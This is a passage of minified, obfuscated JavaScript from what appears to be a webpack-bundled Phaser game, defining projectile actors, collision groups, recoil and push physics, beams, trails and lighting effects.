_0xb276b3, _0x498f64['getFromStore']('physicsPosition')))), _0x2ce925; } } _0x36dcb3['HomingController'] = _0x59850c; }, 0x182: function (_0x20eeec, _0x2771fd, _0x1bf768) { 'use strict'; var _0x5601a8 = this && this['__importDefault'] || function (_0x20f2ca) { return _0x20f2ca && _0x20f2ca['__esModule'] ? _0x20f2ca : { 'default': _0x20f2ca }; }; Object['defineProperty'](_0x2771fd, '__esModule', { 'value': !0x0 }), _0x2771fd['createProjectileActor'] = void 0x0; const _0x545731 = _0x5601a8(_0x1bf768(0x9a8)), _0x1b0ca0 = _0x1bf768(0x25fa), _0x5f48b2 = _0x1bf768(0x2228), _0x216432 = _0x1bf768(0x1907), _0x319025 = _0x1bf768(0x942), _0x4b6f3d = _0x1bf768(0x22a2), _0x34a473 = _0x1bf768(0xb35), _0xb7ed08 = _0x1bf768(0x1832), _0xa44791 = _0x1bf768(0x1b92), _0x242a24 = _0x1bf768(0xf18), _0x529122 = _0x1bf768(0x5f2), _0x14b734 = _0x1bf768(0x1ae2), _0x43d3b9 = _0x1bf768(0xd2e), _0x1cbd17 = _0x1bf768(0x229c), _0x3455fc = _0x1bf768(0x1a57), _0x1ac3e5 = _0x1bf768(0x13e1), _0x584080 = _0x1bf768(0x1932), _0x23ea10 = _0x1bf768(0x7bf), _0x379a9f = _0x1bf768(0x1b9a), _0x58655b = _0x1bf768(0x7d), _0x43fc32 = _0x1bf768(0x221b), _0x31d888 = _0x1bf768(0x224c), _0x5bae60 = _0x1bf768(0x276), _0x59b10c = _0x1bf768(0xc99), _0xdaf7f0 = _0x1bf768(0x18c1), _0x3208c3 = _0x1bf768(0x5d3), _0x3d8e30 = _0x1bf768(0x1004), _0x2a6f13 = _0x1bf768(0x2570), _0x4bf7f2 = _0x1bf768(0x1146), _0x2df701 = _0x1bf768(0x2430), _0x3a9afe = _0x1bf768(0x2240), _0x1c1683 = _0x1bf768(0x1cef), _0x46c7b7 = _0x1bf768(0x14e9), _0x2b7483 = _0x1bf768(0x270e), _0x546b80 = _0x1bf768(0x1175), _0x5e6e1a = { ..._0x43d3b9['actorModel'], ..._0x1cbd17['damageModel'], ..._0x584080['sensorModel'], ..._0x1ac3e5['movementModel'], ..._0x3455fc['weaponModel'], ..._0x14b734['aiModel'], ..._0x31d888['projectileCollisionModel'], ..._0xdaf7f0['lightModel'] }; function _0x4410f2(_0x473295, _0x3b5160, _0x227c36, _0x17ebe5) { const _0x3aa9a3 = [new _0x529122['ProjectileCollisionRecoilRepelController']({ 'projectileConfig': _0x3b5160, 'world': _0x473295['world'], 'recoilCallback': _0x473295['recoilCallback'] }), new _0x4bf7f2['ProjectileChangeIntoOtherProjectileController']({ 'world': _0x473295['world'] })]; if (_0x3b5160['isBeam']) { let _0x28b3d9 = 0x0; _0x3b5160['ignoreGround'] || (_0x28b3d9 |= _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10), _0x3b5160['passThroughTargets'] || _0x3b5160['beamPiercesTargets'] || (_0x28b3d9 |= _0x227c36 << 0x10), _0x3b5160['affectedByProjectilesOnHit'] && (_0x28b3d9 |= _0x17ebe5 << 0x10), _0x3aa9a3['push'](new _0x379a9f['RigidBodyBeamController']({ 'world': _0x473295['world'], 'projectileConfig': _0x3b5160, 'collisionGroups': _0x28b3d9, 'initialPosition': _0x473295['initialPosition'], 'lookDirectionMode': _0x473295['useOwnerLookDirection'] ? 'OWNER_LOOK_DIRECTION' : 'OWN_LOOK_DIRECTION', 'stopOnFirstHit': !!_0x3b5160['beamStopsOnFirstHit'] })); } return _0x473295['attachToFiringPointConfig'] && _0x3aa9a3['push'](new _0x3d8e30['AttachToFiringPointController']({ 'firingPointConfig': _0x473295['attachToFiringPointConfig'], 'firingPointOwnerActor': _0x473295['ownerActor'] })), _0x473295['projectileConfig']['telegraphConfig'] && _0x3aa9a3['push'](new _0x2df701['ProjectileTelegraphPositionController']()), _0x473295['projectileConfig']['homingConfig'] && _0x3aa9a3['push'](new _0x1c1683['HomingController']({ 'world': _0x473295['world'], ..._0x473295['projectileConfig']['homingConfig'], 'targetTags': _0x473295['projectileConfig']['homingConfig']['targetTags'] })), _0x473295['projectileConfig']['accelerationConfig'] && _0x3aa9a3['push'](new _0x2b7483['AccelerationController']({ 'accelerationConfig': _0x473295['projectileConfig']['accelerationConfig'] })), _0x3aa9a3; } _0x2771fd['createProjectileActor'] = function (_0x1f375f) { const _0x5218b6 = _0x1f375f['tags']['includes'](_0xb7ed08['EActorTag']['ENEMY_PROJECTILE']) ? _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE'] : _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'], _0x3e8767 = _0x1f375f['tags']['includes'](_0xb7ed08['EActorTag']['ENEMY_PROJECTILE']) ? _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'] : _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE']; let _0x29591b = _0x1f375f['tags']['includes'](_0xb7ed08['EActorTag']['ENEMY_PROJECTILE']) ? _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_OBJECTIVE'] : _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] | _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_OBJECTIVE']; const _0x579194 = _0x1f375f['projectileConfig']; _0x579194['friendlyFire'] && (_0x1f375f['tags']['includes'](_0xb7ed08['EActorTag']['ENEMY_PROJECTILE']) ? (_0x29591b |= _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'], _0x29591b |= _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_OBJECTIVE']) : (_0x29591b |= _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'], _0x29591b |= _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_OBJECTIVE'])); const _0x5a4fc9 = [new _0x2a6f13['ProjectileLookDirectionComponent']({ 'setDirectionToValueOnInit': _0x1f375f['initialDirection'], 'spinDegreesPerSecond': _0x579194['spinDegreesPerSecond'], 'useOwnerLookDirection': _0x1f375f['useOwnerLookDirection'], 'ownerActor': _0x1f375f['ownerActor'], 'attachedFiringPointName': _0x1f375f['attachedFiringPointName'] }), new _0x46c7b7['ActorDebugRenderComponent']()]; return _0x5a4fc9['push'](...function (_0x4bc762, _0x4918e3, _0x2051d8, _0x3c058b, _0x163834) { const _0x45a31e = [], _0x43feb2 = _0x4918e3['shape']; if (!_0x43feb2) return _0x45a31e; let _0x23a925; switch (_0x43feb2['name']) { case 'ball': _0x23a925 = _0x545731['default']['ColliderDesc']['ball'](_0x43feb2['radius']); break; case 'cuboid': _0x23a925 = _0x545731['default']['ColliderDesc']['cuboid'](_0x43feb2['hy'], _0x43feb2['hx']); break; case 'roundCuboid': _0x23a925 = _0x545731['default']['ColliderDesc']['roundCuboid'](_0x43feb2['hy'], _0x43feb2['hx'], _0x43feb2['borderRadius']); }let _0x5cacb3 = {}; if (_0x4918e3['passThroughTargets']) { let _0x111725, _0x1d9cc5 = _0x2051d8 << 0x10 | _0x3c058b | _0x163834; switch (_0x4918e3['ignoreGround'] || (_0x1d9cc5 |= _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['GROUND']), _0x43feb2['name']) { case 'ball': _0x111725 = _0x545731['default']['ColliderDesc']['ball'](_0x43feb2['radius']); break; case 'cuboid': _0x111725 = _0x545731['default']['ColliderDesc']['cuboid'](_0x43feb2['hy'], _0x43feb2['hx']); break; case 'roundCuboid': _0x111725 = _0x545731['default']['ColliderDesc']['roundCuboid'](_0x43feb2['hy'], _0x43feb2['hx'], _0x43feb2['borderRadius']); }_0x5cacb3 = { 'damageSensor': _0x111725['setCollisionGroups'](_0x1d9cc5) }; } const _0x48c6e1 = _0x2051d8 << 0x10 | _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['GROUND']; let _0x69679d = _0x2051d8 << 0x10 | _0x3c058b; _0x4918e3['passThroughTargets'] || (_0x69679d |= _0x163834), _0x4918e3['ignoreGround'] || (_0x69679d |= _0x34a473['PhysicsConfig']['COLLISION_GROUPS']['GROUND']); let _0x84d5b0 = _0x545731['default']['RigidBodyDesc']['kinematicVelocityBased'](); switch (_0x4918e3['bodyType']) { case 'DYNAMIC': _0x84d5b0 = _0x545731['default']['RigidBodyDesc']['dynamic'](); break; case 'FIXED': _0x84d5b0 = _0x545731['default']['RigidBodyDesc']['fixed'](); break; case 'KINEMATIC': _0x84d5b0 = _0x545731['default']['RigidBodyDesc']['kinematicVelocityBased'](); }const _0x1f4c4e = new _0x319025['RigidBodyComponent']({ 'world': _0x4bc762['world'], 'bodyDesc': _0x84d5b0, 'collidersEmitCollisionEvents': !0x0, 'collidersDesc': { 'body': _0x23a925['setCollisionGroups'](_0x69679d)['setSolverGroups'](_0x48c6e1)['setMass'](_0x4918e3['mass'] ?? 0x0)['setRestitution'](0x2 * (_0x4918e3['restitution'] ?? 0x0))['setFriction'](_0x4918e3['friction'] ?? 0x64) }, 'sensorsDesc': _0x5cacb3, 'sensorsEmitCollisionEvents': !0x0, 'position': _0x4bc762['initialPosition'], 'useRotation': !0x0, 'angularDamping': _0x4918e3['angularDamping'] ?? 0x0, 'linearDamping': _0x4918e3['linearDamping'] ?? 0x0, 'controllers': _0x4410f2(_0x4bc762, _0x4918e3, _0x163834, _0x3c058b) }); _0x45a31e['push'](_0x1f4c4e); const _0x19931e = _0x1f4c4e['get'](); return _0x19931e['setGravityScale'](_0x4918e3['gravityScale'] ?? 0x1, !0x1), _0x19931e['setLinvel'](_0x4bc762['projectileVelocity'], !0x1), _0x19931e['setRotation'](_0x4bc762['initialDirection'] ?? 0x0, !0x1), _0x45a31e; }(_0x1f375f, _0x579194, _0x5218b6, _0x3e8767, _0x29591b)), _0x5a4fc9['push'](...function (_0x80a2b7, _0x175440, _0x4fba4d, _0x5e7d5f) { const _0x4802b7 = [], _0x460885 = {}; _0x460885[_0x34a473['PhysicsConfig']['COLLISION_GROUPS']['GROUND']] = { 'destroy': !!_0x175440['destroyOnGround'], 'explosionName': _0x175440['explosionOnGround'], 'particleConfig': _0x175440['particlesOnGround'], 'projectiles': _0x175440['projectilesOnGround'], 'sound': _0x175440['soundOnGround'] }; const _0x1bdb47 = _0x4fba4d; if (_0x460885[_0x1bdb47] = { 'destroy': !!_0x175440['destroyOnHit'], 'explosionName': _0x175440['explosionOnHit'], 'particleConfig': _0x175440['particlesOnHit'], 'projectiles': _0x175440['projectilesOnHit'], 'sound': _0x175440['soundOnHit'] }, _0x460885[_0x5e7d5f] = { 'destroy': !!_0x175440['destroyOnHit'], 'explosionName': _0x175440['explosionOnHit'], 'particleConfig': _0x175440['particlesOnHit'], 'projectiles': _0x175440['projectilesOnHit'], 'sound': _0x175440['soundOnHit'] }, Object['keys'](_0x460885)['length'] > 0x0) { const _0x536f4a = _0x175440['isBeam'] ? _0xfc54c5 => _0xfc54c5['get']('beamEndPosition') ?? { 'x': NaN, 'y': NaN } : void 0x0; _0x4802b7['push'](new _0x216432['OnCollisionDestroyComponent']({ 'behaviorPerGroup': _0x460885, 'performGroundCheck': _0x175440['performGroundCheck'], 'world': _0x80a2b7['world'], ..._0x536f4a && { 'forcedPositionFunction': _0x536f4a } })); } return _0x4802b7; }(_0x1f375f, _0x579194, _0x3e8767, _0x29591b)), _0x5a4fc9['push'](...function (_0x1c7286, _0x5631bb) { const _0x5e9183 = []; return _0x5631bb['timeoutMS'] && _0x5631bb['timeoutMS'] > 0x0 && _0x5e9183['push'](new _0x4b6f3d['TimeoutComponent']({ 'delayMS': _0x5631bb['timeoutMS'], 'explosionOnTimeout': _0x5631bb['explosionOnTimeout'], 'particlesOnTimeout': _0x5631bb['particlesOnTimeout'], 'projectilesOnTimeout': _0x5631bb['projectilesOnTimeout'], 'sound': _0x5631bb['soundOnTimeout'], 'world': _0x1c7286['world'] })), _0x5e9183; }(_0x1f375f, _0x579194)), _0x5a4fc9['push'](...function (_0x277813, _0x3d6b2a) { const _0x4c6751 = []; return _0x3d6b2a['projectileTrail'] && _0x4c6751['push'](new _0x546b80['ProjectileTrailComponent']({ 'world': _0x277813['world'], 'projectileTrailConfig': _0x3d6b2a['projectileTrail'] })), _0x4c6751; }(_0x1f375f, _0x579194)), _0x5a4fc9['push'](...function (_0x4c64ed) { const _0x43e969 = []; return _0x4c64ed['animationName'] && (Array['isArray'](_0x4c64ed['animationName']) ? _0x4c64ed['animationName'] : [_0x4c64ed['animationName']])['forEach'](_0x3c42cf => { _0x43e969['push'](new _0x5f48b2['AnimatedSpriteRenderComponent']({ 'animationName': _0x3c42cf, 'autoPlay': !0x0 })); }), _0x43e969; }(_0x579194)), _0x5a4fc9['push'](...function (_0x11e56f) { const _0x3fef01 = [], _0x349976 = _0x11e56f['addLightConfig']; if (_0x349976) { const _0x33e0e7 = []; _0x349976['flicker'] && _0x33e0e7['push'](new _0xa44791['FlickerController']()), _0x3fef01['push'](new _0x5f48b2['AnimatedSpriteRenderComponent']({ 'animationName': 'fading_light/medium_white_veryshort', 'applyActionOnSprite': _0x1a419e => { _0x1a419e['setBlendMode'](Phaser['BlendModes']['ADD'])['setDepth'](_0x242a24['LAYER_DEPTHS']['EFFECT'])['setScale'](_0x349976['scale'])['setTint'](_0x349976['color']); }, 'controllers': _0x33e0e7 })); } return _0x3fef01; }(_0x579194)), _0x5a4fc9['push'](...function (_0x33c1be, _0x52a092) { const _0x2721fc = []; if ((0x0, _0x3208c3['runningAsBackend'])()) return _0x2721fc; if (_0x52a092['isBeam'] && _0x52a092['beamCoreAnimationName']) { const _0x19059a = []['concat'](_0x52a092['beamCoreAnimationName']), _0x5a6ea2 = []['concat'](_0x52a092['beamStartAnimationName']), _0x64cf8c = []['concat'](_0x52a092['beamEndAnimationName']); _0x2721fc['push'](new _0x58655b['BeamRenderComponent']({ 'beamCoreAnimationName': _0x33c1be['gameContext']['rngProvider']['getRandomElement'](_0x43fc32['EProviderContext']['FRONTEND_ONLY'], _0x19059a), 'beamStartAnimationName': _0x33c1be['gameContext']['rngProvider']['getRandomElement'](_0x43fc32['EProviderContext']['FRONTEND_ONLY'], _0x5a6ea2), 'beamEndAnimationName': _0x33c1be['gameContext']['rngProvider']['getRandomElement'](_0x43fc32['EProviderContext']['FRONTEND_ONLY'], _0x64cf8c) })); } return _0x2721fc; }(_0x1f375f, _0x579194)), _0x5a4fc9['push'](...function (_0x96cf25) { const _0x4dbd3a = [], _0x226633 = _0x96cf25['telegraphConfig']; return _0x226633 && _0x4dbd3a['push'](new _0x3a9afe['ProjectileTelegraphRenderComponent']({ 'physicsRadius': _0x226633['physicsRadius'], 'renderCircle': _0x226633['renderCircle'], 'renderLine': _0x226633['renderLine'] })), _0x4dbd3a; }(_0x579194)), _0x5a4fc9['push'](...function (_0x4ba1d5) { const _0x8ae360 = [], _0x3a70a3 = _0x4ba1d5['trailEffectConfigs']; return _0x3a70a3 && _0x8ae360['push'](new _0x5bae60['EffectRenderComponent']({ 'controllers': [new _0x59b10c['TrailEffectController']({ 'trailConfigs': _0x3a70a3 })] })), _0x8ae360; }(_0x579194)), _0x5a4fc9['push'](...function (_0x53bf2a) { const _0x1a940a = [], _0x53348e = _0x53bf2a['shaderLightConfig']; return _0x53348e && _0x1a940a['push'](new _0x23ea10['LightRenderComponent']({ 'color': _0x53348e['color'], 'intensity': _0x53348e['intensity'], 'radius': _0x53348e['radius'] })), _0x1a940a; }(_0x579194)), new _0x1b0ca0['Actor']({ ..._0x1f375f, 'model': _0x5e6e1a, 'name': 'Projectile_' + _0x1f375f['tags'] + '_' + _0x1f375f['projectileType'], 'components': _0x5a4fc9 }); }; }, 0x1146: (_0x3a58dc, _0x3d9ae2, _0x29dc6f) => { 'use strict'; Object['defineProperty'](_0x3d9ae2, '__esModule', { 'value': !0x0 }), _0x3d9ae2['ProjectileChangeIntoOtherProjectileController'] = void 0x0; const _0x407fee = _0x29dc6f(0x1520), _0x3fada7 = _0x29dc6f(0x2f5), _0x108b51 = _0x29dc6f(0x1832); class _0x234474 extends _0x407fee['ComponentController']{ constructor(_0x5d8eb6) { super(_0x5d8eb6); } ['init']() { this['messageBus']['subscribe'](this, 'changeIntoNewProjectile', _0x42faa5 => this['changeIntoNewProjectile'](_0x42faa5)); } ['changeIntoNewProjectile'](_0x3ef3a5) { const _0x5d1b06 = { ...this['getProjectileConfig'](_0x3ef3a5) }; _0x5d1b06['performGroundCheck'] = !0x1; const _0x44cb41 = _0x3fada7['GAMEPLAY_ACTOR_MAP']['projectile']({ 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'recoilCallback': this['recoilCallback']['bind'](this), 'world': this['config']['world'], 'gameContext': this['gameContext'], 'tags': this['getNewTags'](), 'projectileType': _0x3ef3a5, 'projectileConfig': _0x5d1b06, 'projectileVelocity': this['component']['get']()['linvel'](), 'damageMultiplier': 0x1, 'initialDirection': this['component']['get']()['rotation'](), 'initialPosition': this['component']['get']()['translation'](), 'ownerActor': this['actor'] }); this['actor']['registerActor'](_0x44cb41), this['messageBus']['unsubscribeByOwner'](this), this['actor']['destroy'](); } ['recoilCallback'](_0x27f6a8) { this['messageBus']['publish']('recoilOnHit', _0x27f6a8); } ['getProjectileConfig'](_0x295dfc) { return this['gameContext']['getProjectileConfig'](_0x295dfc); } ['getNewTags']() { const _0x2b311f = this['actor']['getTags']()['slice'](); return _0x2b311f['includes'](_0x108b51['EActorTag']['PLAYER_PROJECTILE']) ? (_0x2b311f['splice'](_0x2b311f['indexOf'](_0x108b51['EActorTag']['PLAYER_PROJECTILE']), 0x1), _0x2b311f['push'](_0x108b51['EActorTag']['ENEMY_PROJECTILE'])) : (_0x2b311f['splice'](_0x2b311f['indexOf'](_0x108b51['EActorTag']['ENEMY_PROJECTILE']), 0x1), _0x2b311f['push'](_0x108b51['EActorTag']['PLAYER_PROJECTILE'])), _0x2b311f; } } _0x3d9ae2['ProjectileChangeIntoOtherProjectileController'] = _0x234474; }, 0x224c: (_0x352f38, _0x545f71) => { 'use strict'; Object['defineProperty'](_0x545f71, '__esModule', { 'value': !0x0 }), _0x545f71['projectileCollisionModel'] = void 0x0, _0x545f71['projectileCollisionModel'] = { 'hitActors': void 0x0 }; }, 0x5f2: function (_0x2d0437, _0x1797f8, _0x217f18) { 'use strict'; var _0x102b3c = this && this['__importDefault'] || function (_0x146c08) { return _0x146c08 && _0x146c08['__esModule'] ? _0x146c08 : { 'default': _0x146c08 }; }; Object['defineProperty'](_0x1797f8, '__esModule', { 'value': !0x0 }), _0x1797f8['ProjectileCollisionRecoilRepelController'] = void 0x0; const _0x401964 = _0x217f18(0x18e5), _0x5aad94 = _0x217f18(0x1520), _0x150a89 = _0x217f18(0x1832), _0x32b2b9 = _0x217f18(0x1be6), _0x388e6d = _0x102b3c(_0x217f18(0x1b39)), _0xed650d = _0x217f18(0x13e1), _0x1259ef = _0x217f18(0x1932); class _0x168f5a extends _0x5aad94['ComponentController']{ constructor(_0xf6931f) { super(_0xf6931f); } ['init']() { this['store']['update']('hitActors', new Set()), this['gameMessageBus']['subscribe'](this, 'actorsCollide', _0x3f0367 => { if (!this['isRelevantCollision'](_0x3f0367)) return; if (this['isCollisionAlreadyProcessed'](_0x3f0367)) return; const _0x1cd18e = this['actor']['getConfig']()['projectileConfig']; this['repelTarget'](_0x3f0367, _0x1cd18e), this['maybeNotifyOwnerOnRecoil'](_0x3f0367, _0x1cd18e), this['maybeChangeIntoNewProjectile'](_0x3f0367, _0x1cd18e), this['saveCollision'](_0x3f0367); }); } ['isRelevantCollision'](_0x2faf96) { return _0x2faf96['actor1'] === this['actor'] || _0x2faf96['actor2'] === this['actor']; } ['getOtherCollider'](_0x598deb) { return _0x598deb['actor1'] === this['actor'] ? _0x598deb['collider2'] : _0x598deb['collider1']; } ['repelTarget'](_0x2a237e, _0x525d54) { if (void 0x0 === _0x525d54['pushForce'] || 0x0 === _0x525d54['pushForce']) return; const _0x41463e = this['getOtherCollider'](_0x2a237e)['parent'](), _0x390caf = _0x2a237e['actor1'] === this['actor'] ? _0x2a237e['actor2'] : _0x2a237e['actor1'], _0x6eedde = this['isTargetOtherTeam'](_0x2a237e) || _0x525d54['friendlyFire'], _0x660a4d = this['config']['projectileConfig']['performGroundCheck'] && !(0x0, _0x32b2b9['succeedsGroundCheck'])(_0x2a237e, this['actor'], _0x390caf, this['config']['world']), _0x394977 = _0x390caf['getFromStore']('affectingActors')?.['map'](_0x43deed => _0x43deed['actor'])?.['includes'](this['actor']), _0x19abec = this['isActorAProjectile'](_0x390caf), _0x178e4b = _0x525d54['affectsProjectilesOnHit'] || _0x525d54['canChangeOwnerOfOtherProjectilesOnHit'], _0x4d6940 = _0x19abec && _0x390caf['getConfig']()?.['projectileConfig']?.['affectedByProjectilesOnHit']; if (!_0x41463e || !_0x6eedde || _0x394977 || _0x6eedde && _0x660a4d || _0x19abec && (!_0x4d6940 || !_0x178e4b)) return; _0x525d54['affectedTimeMS'] && _0x525d54['affectedTimeMS'] > 0x0 && _0x390caf['messageActor']('affectedActor', { 'affectingActor': this['actor'], 'affectedTimeMS': _0x525d54['affectedTimeMS'] }); let _0x88d68e = 'DIRECTION_TO_TARGET' === _0x525d54['pushMode'] ? this['calculateImpulseUsingTargetDirection'](_0x2a237e, _0x525d54) : this['calculateImpulseUsingProjectileDirection'](_0x2a237e, _0x525d54); const _0x4d8f63 = _0x390caf['getFromStore']('sensorCollisionState'), _0xf2301a = _0x4d8f63?.[_0x1259ef['ESensorName']['GROUND_BOTTOM']]; _0xf2301a || (_0x88d68e = (0x0, _0x401964['scale'])(_0x88d68e, _0xed650d['NON_GROUNDED_IMPULSE_SCALE'])), _0x88d68e['y'] = _0x88d68e['y'] * _0xed650d['VERTICAL_IMPULSE_SCALE'], _0x41463e['applyImpulse'](_0x88d68e, !0x0), _0x390caf['messageActor']('appliedExternalSourceImpulse'); } ['maybeNotifyOwnerOnRecoil'](_0x50287a, _0x58a473) { const _0x3951c9 = this['isTargetAGroundObject'](_0x50287a), _0x47bb51 = this['isTargetOtherTeam'](_0x50287a), _0x39ae82 = _0x50287a['actor1'] === this['actor'] ? _0x50287a['actor2'] : _0x50287a['actor1'], _0x2d1932 = this['isActorAProjectile'](_0x39ae82), _0x379de5 = _0x58a473['recoilOwnerOnGround'] && _0x3951c9; if (!(_0x58a473['recoilOwnerOnHit'] && _0x47bb51) && !_0x379de5 || _0x2d1932 && !_0x58a473['affectsProjectilesOnHit']) return; const _0x5e49a3 = this['store']['get']('renderRotation'), _0x2781a9 = { 'x': Math['sin'](_0x5e49a3), 'y': -Math['cos'](_0x5e49a3) }, _0x36f051 = -0x1 * (_0x58a473['recoilOwnerForce'] ?? 0x0), _0x70bbb8 = (0x0, _0x401964['scale'])(_0x2781a9, _0x36f051); _0x70bbb8['y'] = _0x70bbb8['y'] * _0xed650d['VERTICAL_IMPULSE_SCALE'], this['config']['recoilCallback']({ 'impulse': _0x70bbb8, 'targetIsGround': _0x3951c9, 'targetIsEnemy': _0x47bb51, 'collisionData': _0x50287a, 'targetCollider': this['getOtherCollider'](_0x50287a) }); } ['maybeChangeIntoNewProjectile'](_0x3ab55b, _0x5543e7) { if (!_0x5543e7['changeIntoOnProjectileHit']) return; const _0x720986 = _0x3ab55b['actor1'] === this['actor'] ? _0x3ab55b['actor2'] : _0x3ab55b['actor1'], _0x1ce4c7 = this['isTargetOtherTeam'](_0x3ab55b), _0x1b7a52 = this['isActorAProjectile'](_0x720986); if (!_0x1ce4c7 || !_0x1b7a52) return; _0x720986['getConfig']()['projectileConfig']['canChangeOwnerOfOtherProjectilesOnHit'] && this['gameContext']['timeProvider']['delayAction'](() => { this['messageBus']['publish']('changeIntoNewProjectile', _0x5543e7['changeIntoOnProjectileHit']); }); } ['isTargetOtherTeam'](_0x23a5c4) { const _0xc26de4 = _0x23a5c4['actor1'] === this['actor'] ? _0x23a5c4['actor2'] : _0x23a5c4['actor1'], _0x3c0b21 = this['actor']['getTags']()['includes'](_0x150a89['EActorTag']['PLAYER_PROJECTILE']), _0x2af565 = [_0x150a89['EActorTag']['PLAYER'], _0x150a89['EActorTag']['PLAYER_OBJECTIVE'], _0x150a89['EActorTag']['PLAYER_PROJECTILE']], _0x5b3ff1 = [_0x150a89['EActorTag']['ENEMY'], _0x150a89['EActorTag']['ENEMY_OBJECTIVE'], _0x150a89['EActorTag']['ENEMY_PROJECTILE']]; return _0x3c0b21 ? _0x5b3ff1['some'](_0x37744f => _0xc26de4['getTags']()['includes'](_0x37744f)) : _0x2af565['some'](_0x228b50 => _0xc26de4['getTags']()['includes'](_0x228b50)); } ['isActorAProjectile'](_0x3fff36) { return [_0x150a89['EActorTag']['PLAYER_PROJECTILE'], _0x150a89['EActorTag']['ENEMY_PROJECTILE']]['some'](_0x532ac7 => _0x3fff36['getTags']()['includes'](_0x532ac7)); } ['isTargetAGroundObject'](_0x4007e2) { return (_0x4007e2['actor1'] === this['actor'] ? _0x4007e2['actor2'] : _0x4007e2['actor1'])['getTags']()['includes'](_0x150a89['EActorTag']['GROUND']); } ['saveCollision'](_0x518fe3) { const _0x300fb5 = _0x518fe3['actor1'] === this['actor'] ? _0x518fe3['actor2'] : _0x518fe3['actor1'], _0x3d2457 = this['store']['get']('hitActors'); _0x3d2457['add'](_0x300fb5), this['store']['update']('hitActors', _0x3d2457); } ['isCollisionAlreadyProcessed'](_0x455ce8) { const _0x5208f2 = _0x455ce8['actor1'] === this['actor'] ? _0x455ce8['actor2'] : _0x455ce8['actor1']; return this['store']['get']('hitActors')['has'](_0x5208f2); } ['calculateImpulseUsingProjectileDirection'](_0x1c5a0e, _0x12686f) { const _0x271d1c = this['store']['get']('renderRotation') * (0x1 - (_0x12686f['pushForceUpwardSkew'] ?? 0x0)), _0x44d138 = { 'x': Math['sin'](_0x271d1c), 'y': -Math['cos'](_0x271d1c) }; return (0x0, _0x401964['scale'])(_0x44d138, this['calculateImpactForce'](_0x1c5a0e, _0x12686f)); } ['calculateImpulseUsingTargetDirection'](_0x18210d, _0x569662) { const _0x4cde10 = (_0x18210d['actor1'] === this['actor'] ? _0x18210d['actor2'] : _0x18210d['actor1'])['getFromStore']('physicsPosition'), _0x10d043 = this['actor']['getFromStore']('physicsPosition'), _0x563dbe = _0x388e6d['default']['angleToTarget'](_0x10d043, _0x4cde10), _0x312741 = { 'x': Math['sin'](_0x563dbe), 'y': -Math['cos'](_0x563dbe) }; return (0x0, _0x401964['scale'])(_0x312741, this['calculateImpactForce'](_0x18210d, _0x569662)); } ['calculateImpactForce'](_0x3c4289, _0x68790f) { const _0x4b6855 = _0x3c4289['actor1'] === this['actor'] ? _0x3c4289['actor2'] : _0x3c4289['actor1']; let _0x330256; return _0x330256 = this['isActorAProjectile'](_0x4b6855) ? _0x68790f['projectilePushForce'] ?? _0x68790f['pushForce'] ?? 0x0 : _0x68790f['pushForce'] ?? 0x0, _0x330256; } } _0x1797f8['ProjectileCollisionRecoilRepelController'] = _0x168f5a; }, 0x2570: function (_0x1f0ceb, _0xf5a054, _0x55024a) { 'use strict'; var _0x5c4e64 = this && this['__importDefault'] || function (_0x5e9dc4) { return _0x5e9dc4 && _0x5e9dc4['__esModule'] ? _0x5e9dc4 : { 'default': _0x5e9dc4 }; }; Object['defineProperty'](_0xf5a054, '__esModule', { 'value': !0x0 }), _0xf5a054['ProjectileLookDirectionComponent'] = void 0x0; const _0x3af78e = _0x55024a(0x2414), _0x4d672e = _0x5c4e64(_0x55024a(0x1b39)); class _0x36705c extends _0x3af78e['ActorComponent']{ constructor(_0x55021c) { super(_0x55021c); } ['init']() { void 0x0 !== this['config']['setDirectionToValueOnInit'] && this['store']['update']('lookDirection', this['config']['setDirectionToValueOnInit']), this['config']['setDirectionToRotationOnInit'] && this['store']['update']('lookDirection', this['store']['get']('renderRotation')), this['maybeUseOwnerLookDirection'](); } ['update'](_0x2f7820) { this['maybeUpdateSpin'](_0x2f7820), this['maybeUseOwnerLookDirection'](); } ['maybeUpdateSpin'](_0x1b09a4) { if (!this['config']['spinDegreesPerSecond']) return; const _0x368501 = _0x4d672e['default']['degToRad'](this['config']['spinDegreesPerSecond']) * _0x1b09a4, _0x2b0939 = this['store']['get']('lookDirection') + _0x368501; this['store']['update']('lookDirection', _0x2b0939); } ['maybeUseOwnerLookDirection']() { if (!this['config']['useOwnerLookDirection'] || !this['config']['ownerActor'] || !this['config']['attachedFiringPointName']) return; const _0x254f30 = this['config']['ownerActor'], _0x542341 = _0x254f30['getFromStore']('firingPointLookDirections')?.[this['config']['attachedFiringPointName']]; void 0x0 !== _0x542341 && this['store']['update']('lookDirection', _0x542341); } } _0xf5a054['ProjectileLookDirectionComponent'] = _0x36705c; }, 0x2430: function (_0x344561, _0x129d52, _0x53d5ae) { 'use strict'; var _0x1a230e = this && this['__importDefault'] || function (_0x459933) { return _0x459933 && _0x459933['__esModule'] ? _0x459933 : { 'default': _0x459933 }; }; Object['defineProperty'](_0x129d52, '__esModule', { 'value': !0x0 }), _0x129d52['ProjectileTelegraphPositionController'] = void 0x0; const _0x2d443d = _0x1a230e(_0x53d5ae(0x9a8)), _0x50532c = _0x53d5ae(0x1520), _0x49b91b = _0x53d5ae(0xb35), _0x1cafa8 = _0x53d5ae(0x18e5), _0x34d71c = _0x22edda => 0x0 != (_0x22edda['collisionGroups']() & _0x49b91b['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10); class _0x31b622 extends _0x50532c['ComponentController']{ ['postInit']() { 